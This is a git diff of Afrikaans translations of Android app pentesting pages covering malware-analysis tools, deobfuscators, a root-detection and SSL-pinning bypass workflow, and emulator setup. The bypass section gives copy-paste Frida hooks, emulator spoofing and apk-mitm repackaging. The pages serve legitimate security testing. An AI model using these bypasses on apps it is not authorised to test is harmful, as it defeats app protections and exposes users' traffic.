-**Androwarn** is 'n hulpmiddel wat hoofsaaklik daarop gemik is om potensieel kwaadwillige gedrag wat deur 'n Android-toepassing ontwikkel is, op te spoor en die gebruiker daaroor te waarsku.
+**Androwarn** is 'n hulpmiddel waarvan die hoofdoel is om die gebruiker op te spoor en te waarsku oor potensiële kwaadwillige gedrag wat deur 'n Android-app ontwikkel is.
 
-Die deteksie word uitgevoer deur middel van die **static analysis** van die toepassing se Dalvik bytecode, voorgestel as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
+Die opsporing word gedoen deur die **static analysis** van die toepassing se Dalvik bytecode, wat voorgestel word as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek.
 
-Hierdie hulpmiddel soek na **algemene gedrag van "slegte" toepassings** soos: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
+Hierdie hulpmiddel soek na **gewone gedrag van "slegte" toepassings** soos: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
 ```
 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 ```
@@ -747,75 +744,75 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 ![](<../../images/image (595).png>)
 
-**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Dit is 'n instrument wat algemeen gebruikte mobile application reverse engineering- en analysis-gereedskap saamvoeg om te help met die toetsing van mobiele toepassings teen die OWASP mobile security threats. Die doel is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassings-ontwikkelaars en sekuriteitsprofessionals.
+**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Dit is 'n hulpmiddel wat algemeen gebruikte mobile application reverse engineering en analysis tools saamvoeg om te help met die toetsing van mobiele toepassings teen OWASP mobile security threats. Die doel is om hierdie taak makliker en meer gebruikersvriendelik te maak vir mobile application developers en security professionals.
 
-Dit kan:
+It is able to:
 
-- Haal Java- en Smali-kode uit met verskillende gereedskap
-- Ontleed APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
-- Haal privaat inligting uit die APK met behulp van regexps.
-- Ontleed die Manifest.
-- Ontleed gevonde domeine using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
+- Ekstraheer Java en Smali code met verskeie tools
+- Analiseer APK's met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
+- Ekstraheer privaat inligting uit die APK met regexps.
+- Analiseer die Manifest.
+- Analiseer gevonde domeine met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
 - Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
 
 ### Koodous
 
-Useful to detect malware: [https://koodous.com/](https://koodous.com)
+Nuttig om malware te detecteer: [https://koodous.com/](https://koodous.com/)
 
 ## Obfuscating/Deobfuscating code
 
-Let wel: afhangend van die diens en konfigurasie wat jy gebruik om die kode te obfuskeer, mag geheime wel of nie obfuskeer wees nie.
+Neem kennis dat, afhangend van die diens en konfigurasie wat jy gebruik om die code te obfuskeer, geheime wel of nie geobfuskeer kan wees nie.
 
 ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
 
-From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n open source command-line tool wat Java-kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer sowel as ongebruikte instruksies opspoor en verwyder. ProGuard is vrye sagteware en word versprei onder die GNU General Public License, version 2.
+From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is 'n open source command-line hulpmiddel wat Java code verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer en ongebruikte instruksies opspoor en verwyder. ProGuard is gratis sagteware en word versprei onder die GNU General Public License, version 2.
 
-ProGuard word as deel van die Android SDK versprei en loop wanneer die toepassing in release mode gebou word.
+ProGuard word saam met die Android SDK versprei en loop wanneer die toepassing in release mode gebou word.
 
 ### [DexGuard](https://www.guardsquare.com/dexguard)
 
-Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
+Vind 'n stap-vir-stap gids om die apk te deobfusseer by [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
 
-(From that guide) Die laaste keer toe ons gekyk het, was die Dexguard mode of operation:
+(Volgens daardie gids) Die laaste keer wat ons nagegaan het, was die Dexguard operasionele wyse:
 
 - laai 'n resource as 'n InputStream;
-- voer die resultaat na 'n klas wat van FilterInputStream erf om dit te ontsleutel;
-- doen 'n paar nuttelose obfuskasies om 'n paar minute van 'n reverser se tyd te mors;
-- voer die ontsleutelde resultaat na 'n ZipInputStream om 'n DEX file te kry;
-- laastens laai die resulterende DEX as 'n Resource using die `loadDex` method.
+- gee die resultaat aan 'n klas wat van FilterInputStream erf om dit te ontsleutel;
+- doen 'n bietjie nuttelose obfuskering om 'n paar minute van 'n reverser se tyd te mors;
+- gee die ontsleutelde resultaat aan 'n ZipInputStream om 'n DEX-lêer te kry;
+- laastens laai die resulterende DEX as 'n Resource met die `loadDex` metode.
 
 ### [DeGuard](http://apk-deguard.com)
 
-**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
+**DeGuard keer die proses van obfuskering wat deur Android obfuscation tools uitgevoer word om. Dit maak talle security analyses moontlik, insluitend code inspection en library-identifikasie.**
 
-Jy kan 'n obfuskeerede APK na hul platform oplaai.
+Jy kan 'n geobfuskeerde APK na hul platform oplaai.
 
 ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
 
-This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
+Dit is 'n LLM tool om potensiële security vulnerabilities in android apps te vind en android app code te deobfusseer. Gebruik Google's Gemini public API.
 
 ### [Simplify](https://github.com/CalebFenton/simplify)
 
-It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
+Dit is 'n generic android deobfuscator. Simplify voer 'n app virtually uit om sy gedrag te verstaan en probeer dan die code optimaliseer sodat dit identies optree maar makliker vir 'n mens is om te verstaan. Elke optimaliseringstipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuscation gebruik word nie.
 
 ### [APKiD](https://github.com/rednaga/APKiD)
 
-APKiD gee jou inligting oor **how an APK was made**. Dit identifiseer baie **compilers**, **packers**, **obfuscators**, en ander vreemde goed. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
+APKiD gee jou inligting oor hoe 'n APK gemaak is. Dit identifiseer baie compilers, packers, obfuscators, en ander vreemde goed. Dit is [_PEiD_](https://www.aldeid.com/wiki/PEiD) vir Android.
 
 ### Manual
 
-[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
+[Lees hierdie handleiding om 'n paar truuks te leer oor **how to reverse custom obfuscation**](manual-deobfuscation.md)
 
 ## Labs
 
 ### [Androl4b](https://github.com/sh4hin/Androl4b)
 
-AndroL4b is 'n Android security virtual machine gebaseer op ubuntu-mate en sluit 'n versameling van die nuutste framework, tutorials en labs van verskillende sekuriteits geeks en researchers vir reverse engineering en malware analysis in.
+AndroL4b is 'n Android security virtual machine gebaseer op ubuntu-mate wat 'n versameling van die nuutste framework, tutorials en labs van verskillende security geeks en navorsers bevat vir reverse engineering en malware analysis.
 
 ## References
 
 - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
-- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Dit is 'n goeie lys van hulpbronne
+- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Dit is 'n uitstekende lys van hulpbronne
 - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
 - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
 - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md
index c8fd094bf..9d1e53595 100644
--- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md
+++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Hierdie bladsy bied 'n praktiese werkvloei om dynamic analysis teen Android‑apps te hervind wat instrumentation opspoor/wortel‑blokkeer of TLS pinning afdwing. Dit fokus op vinnige triage, algemene detecties, en kopieer‑plak hooks/taktieke om dit te omseil sonder herverpakking waar moontlik.
+This page provides a practical workflow to regain dynamic analysis against Android apps that detect/root‑block instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copy‑pasteable hooks/tactics to bypass them without repacking when possible.
 
 ## Detection Surface (what apps check)
 
@@ -14,18 +14,18 @@ Hierdie bladsy bied 'n praktiese werkvloei om dynamic analysis teen Android‑ap
 
 ## Step 1 — Quick win: hide root with Magisk DenyList
 
-- Skakel Zygisk in Magisk aan
-- Skakel DenyList aan, voeg die teiken‑pakket by
-- Herbegin en toets weer
+- Enable Zygisk in Magisk
+- Enable DenyList, add the target package
+- Reboot and retest
 
-Baie apps kyk net na voor die hand liggende aanduiders (su/Magisk paths/getprop). DenyList neutraliseer dikwels naïewe kontroles.
+Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks.
 
 References:
 - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
 
-## Step 2 — 30‑sekonde Frida Codeshare tests
+## Step 2 — 30‑second Frida Codeshare tests
 
-Probeer algemene drop‑in skripte voordat jy dieper delf:
+Try common drop‑in scripts before deep diving:
 
 - anti-root-bypass.js
 - anti-frida-detection.js
@@ -35,11 +35,11 @@ Example:
 ```bash
 frida -U -f com.example.app -l anti-frida-detection.js
 ```
-Hierdie gebruik gewoonlik stubs vir Java root/debug checks, process/service scans, en native ptrace(). Nuttig op lig beskermde apps; geharde teikens mag aangepaste hooks benodig.
+Hierdie stubs rig gewoonlik op Java root/debug checks, process/service scans en native ptrace(). Nuttig op lig beskermde apps; geharde teikens mag pasgemaakte hooks benodig.
 
 - Codeshare: https://codeshare.frida.re/
 
-## Outomatiseer met Medusa (Frida framework)
+## Automate with Medusa (Frida framework)
 
 Medusa bied 90+ kant-en-klare modules vir SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, en meer.
 ```bash
@@ -54,22 +54,22 @@ use http_communications/multiple_unpinner
 use root_detection/universal_root_detection_bypass
 run com.target.app
 ```
-Wenk: Medusa is uitstekend vir vinnige oorwinnings voordat jy custom hooks skryf. Jy kan ook cherry-pick modules en dit kombineer met jou eie scripts.
+Wenk: Medusa is uitstekend vir vinnige oorwinnings voordat jy aangepaste hooks skryf. Jy kan ook modules selekteer en dit met jou eie scripts kombineer.
 
-## Stap 3 — Omseil init-tyd detektore deur laat aan te heg
+## Stap 3 — Om init-tyd detektore te omseil deur laat aan te koppel
 
-Baie deteksies hardloop slegs tydens process spawn/onCreate(). Spawn‑time injection (-f) of gadgets word gevang; deur laat aan te heg nadat die UI gelaai is, kan dit verbyglip.
+Baie opsporings loop slegs tydens process spawn/onCreate(). Spawn‑time injection (-f) of gadgets word gevang; aanhegting nadat die UI gelaai is kan verbyglip.
 ```bash
 # Launch the app normally (launcher/adb), wait for UI, then attach
 frida -U -n com.example.app
 # Or with Objection to attach to running process
 aobjection --gadget com.example.app explore  # if using gadget
 ```
-As dit werk, hou die sessie stabiel en gaan voort om mapping- en stubkontroles uit te voer.
+As dit werk, hou die sessie stabiel en gaan voort met kaartlegging en stub-kontroles.
 
-## Stap 4 — Kaart die deteksielogika via Jadx en string-soektog
+## Stap 4 — Kaart die deteksielogika via Jadx en string hunting
 
-Statiese triage-sleutelwoorde in Jadx:
+Statiese triage sleutelwoorde in Jadx:
 - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
 
 Tipiese Java-patrone:
@@ -82,12 +82,12 @@ Algemene APIs om te hersien/hook:
 - android.os.Debug.isDebuggerConnected
 - android.app.ActivityManager.getRunningAppProcesses / getRunningServices
 - java.lang.System.loadLibrary / System.load (native bridge)
-- java.lang.Runtime.exec / ProcessBuilder (probing commands)
-- android.os.SystemProperties.get (root/emulator heuristics)
+- java.lang.Runtime.exec / ProcessBuilder (probeer-kommando's)
+- android.os.SystemProperties.get (root/emulator-heuristieke)
 
-## Stap 5 — Runtime-stubbing met Frida (Java)
+## Stap 5 — Runtime stubbing met Frida (Java)
 
-Oorskryf aangepaste guards om veilige waardes terug te gee sonder repacking:
+Oorskryf pasgemaakte guards om veilige waardes terug te gee sonder om te herpak:
 ```js
 Java.perform(() => {
 const Checks = Java.use('com.example.security.Checks');
@@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
 AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
 });
 ```
-Triaging early crashes? Dump classes net voordat dit sterf om waarskynlike detection namespaces op te spoor:
+Triaging vroeë crashes? Dump classes net voordat dit doodgaan om waarskynlike detection namespaces op te spoor:
 ```js
 Java.perform(() => {
 Java.enumerateLoadedClasses({
@@ -131,7 +131,7 @@ return false;
 ```
 ## Bypass emulator/VM detection (Java stubs)
 
-Algemene heuristieke: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE wat generic/goldfish/ranchu/sdk bevat; QEMU artefakte soos /dev/qemu_pipe, /dev/socket/qemud; standaard MAC 02:00:00:00:00:00; 10.0.2.x NAT; ontbrekende telephony/sensors.
+Algemene heuristieke: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE waarin generic/goldfish/ranchu/sdk voorkom; QEMU-artefakte soos /dev/qemu_pipe, /dev/socket/qemud; standaard MAC 02:00:00:00:00:00; 10.0.2.x NAT; ontbrekende telephony/sensors.
 
 Vinnige spoof van Build-velde:
 ```js
@@ -143,7 +143,7 @@ Build.BRAND.value = 'google';
 Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
 });
 ```
-Vul dit aan met stubbe vir kontroles of lêers bestaan en identifiseerders (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) om realistiese waardes terug te gee.
+Aanvul met stubbe vir lêer-bestaan-kontroles en identifiseerders (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) om realistiese waardes terug te gee.
 
 ## SSL pinning bypass quick hook (Java)
 
@@ -171,11 +171,11 @@ Aantekeninge
 
 ## Stap 6 — Volg die JNI/native spoor wanneer Java hooks misluk
 
-Traseer JNI-invoerpunte om native loaders en detection init te lokaliseer:
+Volg JNI entry points om native loaders en detection init te vind:
 ```bash
 frida-trace -n com.example.app -i "JNI_OnLoad"
 ```
-Vinnige native triage van ingeslote .so-lêers:
+Vinnige native triage van gebundelde .so-lêers:
 ```bash
 # List exported symbols & JNI
 nm -D libfoo.so | head
@@ -207,23 +207,23 @@ As jy repacking bo runtime hooks verkies, probeer:
 objection patchapk --source app.apk
 ```
 Aantekeninge:
-- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install
-- Gadget injection enables instrumentation without root but can still be caught by stronger init‑time checks.
+- Vereis apktool; maak seker van 'n onlangse weergawe volgens die amptelike gids om bouprobleme te vermy: https://apktool.org/docs/install
+- Gadget injection maak instrumentation sonder root moontlik, maar kan steeds deur sterker init‑time kontroles opgespoor word.
 
-Opsioneel, voeg LSPosed modules en Shamiko by vir sterker root hiding in Zygisk environments, en curate DenyList om child processes te cover.
+Opsioneel, voeg LSPosed modules en Shamiko by vir sterker root-verberging in Zygisk omgewings, en stel DenyList saam om onderliggende prosesse te dek.
 
 Verwysings:
 - Objection: https://github.com/sensepost/objection
 
-## Stap 8 — Valopsie: Patch TLS pinning vir netwerk sigbaarheid
+## Stap 8 — Terugval: Patcheer TLS pinning vir netwerk‑sigbaarheid
 
-As instrumentation geblokkeer is, kan jy steeds traffic inspekteer deur pinning staties te verwyder:
+As instrumentation geblokkeer is, kan jy steeds netwerkverkeer inspekteer deur pinning staties te verwyder:
 ```bash
 apk-mitm app.apk
 # Then install the patched APK and proxy via Burp/mitmproxy
 ```
 - Gereedskap: https://github.com/shroudedcode/apk-mitm
-- Vir netwerkconfig CA‑trust truuks (en Android 7+ user CA trust), sien:
+- Vir netwerkkonfigurasie CA‑trust-truuks (en Android 7+ user CA trust), sien:
 
 {{#ref}}
 make-apk-accept-ca-certificate.md
@@ -233,7 +233,7 @@ make-apk-accept-ca-certificate.md
 install-burp-certificate.md
 {{#endref}}
 
-## Handige opdragte cheat‑sheet
+## Handige opdrag cheat‑sheet
 ```bash
 # List processes and attach
 frida-ps -Uai
@@ -253,12 +253,12 @@ apk-mitm app.apk
 ```
 ## Wenke & waarskuwings
 
-- Liewer later attach as om te spawn wanneer apps by opstart crash
-- Sommige detections herhaal in kritieke flows (bv. payment, auth) — hou hooks aktief tydens navigasie
-- Meng static en dynamic: string hunt in Jadx om klasse te kortlys; hook methods om by runtime te verifieer
-- Hardened apps kan packers en native TLS pinning gebruik — verwag om native code te reverse
+- Gebruik by voorkeur attaching laat bo spawning wanneer apps by opstart crash
+- Sommige detections word weer uitgevoer in critical flows (bv. payment, auth) — hou hooks aktief tydens navigation
+- Meng static en dynamic: string hunt in Jadx om klasse te shortlist; hook methods om by runtime te verify
+- Beveiligde apps kan packers en native TLS pinning gebruik — verwag om native code te reverse
 
-## References
+## Verwysings
 
 - [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
 - [Frida Codeshare](https://codeshare.frida.re/)
diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
index 9af46a5bc..b1cec9628 100644
--- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
+++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
@@ -1,4 +1,4 @@
-# AVD - Android Virtual Device
+# AVD - Android Virtuele Toestel
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,19 +6,19 @@ Baie dankie aan [**@offsecjay**](https://twitter.com/offsecjay) vir sy hulp tyde
 
 ## Wat is
 
-Android Studio laat jou toe om **Android virtuele masjiene te draai wat jy kan gebruik om APKs te toets**. Om dit te gebruik sal jy benodig:
+Android Studio maak dit moontlik om **Android virtuele masjiene te draai wat jy kan gebruik om APKs te toets**. Om dit te gebruik benodig jy:
 
 - Die **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
-- Of **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
+- Of **Android Studio** (met Android SDK tools) - [Download here](https://developer.android.com/studio).
 
-In Windows (in my geval) **na die installering van Android Studio** het ek die **SDK Tools geïnstalleer in**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
+Op Windows (in my geval) **na die installasie van Android Studio** het ek die **SDK Tools geïnstalleer in**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
 
-Op mac kan jy die **SDK tools aflaai** en dit in die PATH plaas deur die volgende te hardloop:
+Op mac kan jy die **SDK tools** aflaai en hulle in die PATH hê deur die volgende uit te voer:
 ```bash
 brew tap homebrew/cask
 brew install --cask android-sdk
 ```
-Of vanaf **Android Studio GUI** soos aangedui in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) wat hulle sal installeer in `~/Library/Android/sdk/cmdline-tools/latest/bin/` en `~/Library/Android/sdk/platform-tools/` en `~/Library/Android/sdk/emulator/`
+Of vanaf **Android Studio GUI** soos aangedui in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) wat hulle in `~/Library/Android/sdk/cmdline-tools/latest/bin/` en `~/Library/Android/sdk/platform-tools/` en `~/Library/Android/sdk/emulator/` sal installeer
 
 Vir die Java-probleme:
 ```java
@@ -26,9 +26,9 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
 ```
 ## GUI
 
-### Berei Virtuele Masjien voor
+### Prepare Virtual Machine
 
-As jy Android Studio geïnstalleer het, kan jy net die hoofprojek-oorsig oopmaak en toegang kry: _**Tools**_ --> _**AVD Manager.**_
+As jy Android Studio geïnstalleer het, kan jy net die hoofprojek-oorsig oopmaak en toegang kry tot: _**Tools**_ --> _**AVD Manager.**_
 
 <div align="center" data-full-width="false">
 
@@ -36,38 +36,38 @@ As jy Android Studio geïnstalleer het, kan jy net die hoofprojek-oorsig oopmaak
 
 </div>
 
-Klik dan op _**Create Virtual Device**_
+Then, click on _**Create Virtual Device**_
 
 <figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
 
-_**Kies** die foon wat jy wil gebruik_ en klik op _**Next.**_
+_**kies** die telefoon wat jy wil gebruik_ en klik op _**Next.**_
 
 > [!WARNING]
-> If you need a phone with Play Store installed select one with the Play Store icon on it!
+> As jy 'n telefoon met Play Store geïnstalleer benodig, kies een met die Play Store-ikoon daarop!
 >
 > <img src="../../images/image (1144).png" alt="" data-size="original">
 
-In die huidige aansig kan jy die **Android image kies en aflaai** wat diefoon gaan gebruik:
+In die huidige aansig kan jy **kies en aflaai die Android image** wat die telefoon gaan gebruik:
 
 <figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Kies dit, en as dit nie afgelaai is nie klik op die _**Download**_ simbool langs die naam (**wag nou totdat die image afgelaai is).**\
-Sodra die image afgelaai is, kies net **`Next`** en **`Finish`**.
+So, select it and if it isn't downloaded click on the _**Download**_ symbol next to the name (**now wait until the image is downloaded).**\
+Once the image is downloaded, just select **`Next`** and **`Finish`**.
 
-Die virtuele masjien sal geskep word. Nou, **elke keer as jy toegang kry tot AVD manager, sal dit daar wees**.
+Die virtuele masjien sal geskep word. Nou sal dit **elke keer as jy die AVD Manager oopmaak, beskikbaar wees**.
 
-### Begin Virtuele Masjien
+### Run Virtual Machine
 
-Om dit te **begin** druk net die _**Start button**_.
+Om dit te begin, druk net die _**Start button**_.
 
 ![](<../../images/image (518).png>)
 
-## Opdraglyn-gereedskap
+## Command Line tool
 
 > [!WARNING]
-> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
+> Vir macOS kan jy die `avdmanager` tool vind in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` en die `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` as jy dit geïnstalleer het.
 
-Eerstens moet jy **bepaal watter foon jy wil gebruik**, om die lys van moontlike fone te sien voer uit:
+Eerstens moet jy **besluit watter telefoon jy wil gebruik**, om die lys van moontlike telefone te sien voer uit:
 ```
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
 
@@ -95,11 +95,12 @@ Name: Nexus 10
 OEM : Google
 [...]
 ```
-Sodra jy die naam van die toestel wat jy wil gebruik besluit het, moet jy **bepaal watter Android-image jy in hierdie toestel wil uitvoer.**\ Jy kan al die opsies lys met `sdkmanager`:
+Sodra jy die naam van die toestel wat jy wil gebruik bepaal het, moet jy **bepaal watter Android image jy op hierdie toestel wil laat loop.**\
+Jy kan al die opsies lys met `sdkmanager`:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
 ```
-En **download** die een (of almal) wat jy wil gebruik met:
+En **laai af** die een (of almal) wat jy wil gebruik met:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
 ```
@@ -119,11 +120,11 @@ Type: Platform
 API level: 29
 Revision: 4
 ```
-Op hierdie stadium het jy besluit watter toestel jy wil gebruik en jy het die Android image afgelaai, dus **kan jy die virtuele masjien skep met**:
+Op hierdie stadium het jy besluit watter toestel jy wil gebruik en jy het die Android image afgelaai, dus **kan jy die virtuele masjien skep met behulp van**:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
 ```
-In die laaste opdrag **het ek 'n VM geskep met die naam** "_AVD9_" deur die **toestel** "_Nexus 5X_" en die **Android image** "_system-images;android-28;google_apis;x86_64_" te gebruik.\
+In die laaste opdrag **het ek 'n VM geskep genaamd** "_AVD9_" deur die **toestel** "_Nexus 5X_" en die **Android-image** "_system-images;android-28;google_apis;x86_64_" te gebruik.\
 Nou kan jy **lys die virtuele masjiene** wat jy geskep het met:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@@ -142,52 +143,52 @@ Error: Google pixel_2 no longer exists as a device
 ### Voer Virtuele Masjien uit
 
 > [!WARNING]
-> Vir macOS kan jy die `avdmanager` hulpmiddel vind in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` en die `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` as jy dit geïnstalleer het.
+> Vir macOS kan jy die `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` en die `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` vind as jy hulle geïnstalleer het.
 
-Ons het reeds gesien hoe jy die gemaakte virtuele masjiene kan lys, maar **jy kan hulle ook lys met**:
+Ons het reeds gesien hoe jy die gemaakte virtuele masjiene kan lys, maar **jy kan hulle ook lys met behulp van**:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
 AVD9
 Pixel_2_API_27
 ```
-Jy kan eenvoudig **enige geskepte virtuele masjien** laat loop deur gebruik te maak van:
+Jy kan eenvoudig **enige geskepte virtuele masjien uitvoer** met:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
 ```
-Of deur meer gevorderde opsies te gebruik kan jy 'n virtuele masjien soos:
+Of deur meer gevorderde opsies te gebruik, kan jy 'n virtuele masjien soos die volgende laat loop:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
 ```
 ### Command line options
 
-Daar is egter **baie verskillende nuttige opdragreëlopsies** wat jy kan gebruik om 'n virtuele masjien te begin. Hieronder kan jy 'n paar interessante opsies sien, maar jy kan [**'n volledige lys hier vind**](https://developer.android.com/studio/run/emulator-commandline)
+Daar is egter **a lot of different command line useful options** wat jy kan gebruik om 'n virtuele masjien te begin. Hieronder kan jy 'n paar interessante opsies vind maar kan [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
 
 **Opstart**
 
 - `-snapshot name` : Start VM snapshot
-- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Lys al die opgeneemde snapshots
+- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Lys alle geregistreerde snapshots
 
 **Netwerk**
 
-- `-dns-server 192.0.2.0, 192.0.2.255` : Laat toe om die DNS-bedieners vir die VM kommageskei aan te dui.
+- `-dns-server 192.0.2.0, 192.0.2.255` : Laat toe om die DNS-bedieners as 'n komma-geskeide lys aan die VM aan te dui.
 - **`-http-proxy 192.168.1.12:8080`** : Laat toe om 'n HTTP-proxy aan te dui om te gebruik (baie nuttig om verkeer met Burp vas te vang)
-- As die proxy-instellings om een of ander rede nie werk nie, probeer dit intern te konfigureer of 'n toepassing soos "Super Proxy" of "ProxyDroid" te gebruik.
+- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid".
 - `-netdelay 200` : Stel die netwerklatensie-emulasie in millisekondes.
-- `-port 5556` : Stel die TCP-poortnommer wat vir die console en adb gebruik word.
-- `-ports 5556,5559` : Stel die TCP-poorte wat vir die console en adb gebruik word.
-- **`-tcpdump /path/dumpfile.cap`** : Vang al die verkeer in 'n lêer
+- `-port 5556` : Stel die TCP-poortnommer wat vir die konsole en adb gebruik word.
+- `-ports 5556,5559` : Stel die TCP-poorte wat vir die konsole en adb gebruik word.
+- **`-tcpdump /path/dumpfile.cap`** : Neem al die verkeer in 'n lêer op
 
 **Stelsel**
 
